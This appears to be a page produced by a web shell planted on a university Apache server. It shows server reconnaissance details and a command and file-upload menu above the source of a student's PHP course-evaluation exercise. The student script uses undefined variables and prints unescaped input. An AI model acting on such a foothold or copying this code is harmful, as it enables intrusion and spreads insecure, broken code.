Server IP : 172.16.15.8 / Your IP : 18.226.200.180 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/brmorrison/public_html/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!-- session3.php --> <?php session_start(); // File: session3b.php // Show the result of eval ?> <FONT color=blue size=4> <?php $q1 = $_POST['q1']; $q2 = $_POST['q2']; $q3 = $_POST['q3']; $StudentsName = $_SESSION['v1']; $course = $_SESSION['v2']; print "$StudentsName took the course $course :<BR>"; if($q1 == "a") { print "$name Strong Agree with question 1<BR>"; } else if($q1 == "b") { print "$num1 Agree with question 1<BR>"; } else if($q1 == "c") { print "$num1 Dissagree with question 1<BR>"; } else if($q1 == "d") { print "$num1 Strong Dissagree with question 1<BR>"; } if($q2 == "a") { print "$num1 Strong Agree with question 2<BR>"; } else if($q2 == "b") { print "$num1 Agree with question 2<BR>"; } else if($q2 == "c") { print "$num1 Dissagree with question 2<BR>"; } else if($q2 == "d") { print "$num1 Strong Dissagree with question 2<BR>"; } if($q3 == "a") { print "$num1 Strong Agree with question 3<BR>"; } else if($q3 == "b") { print "$num1 Agree with question 3<BR>"; } else if($q3 == "c") { print "$num1 Dissagree with question 3<BR>"; } else if($q3 == "d") { print "$num1 Strong Dissagree with question 3<BR>"; } ?>